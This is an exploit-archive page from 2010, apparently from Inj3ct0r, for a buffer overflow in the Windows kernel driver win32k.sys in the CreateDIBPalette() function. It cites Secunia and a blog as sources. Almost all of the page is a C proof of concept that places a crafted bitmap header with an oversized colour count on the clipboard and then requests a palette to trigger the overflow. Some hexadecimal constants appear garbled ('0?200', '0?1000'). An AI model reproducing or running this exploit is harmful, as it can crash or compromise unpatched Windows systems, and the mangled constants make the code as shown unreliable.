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Microsoft win32k.sys Driver "CreateDIBPalette()" B

Posted on 06 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Microsoft win32k.sys Driver &quot;CreateDIBPalette()&quot; Buffer Overflow</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================
Microsoft win32k.sys Driver &quot;CreateDIBPalette()&quot; Buffer Overflow
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Sources:
http://www.ragestorm.net/blogs/?p=255
http://secunia.com/advisories/40870/
 
 
DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&amp;dm, 0);
 
BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0?200;
 
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0?1000);
memcpy((PVOID)GlobalLock(h), &amp;bmih, sizeof(bmih));
GlobalUnlock(h);
 
OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();
 
OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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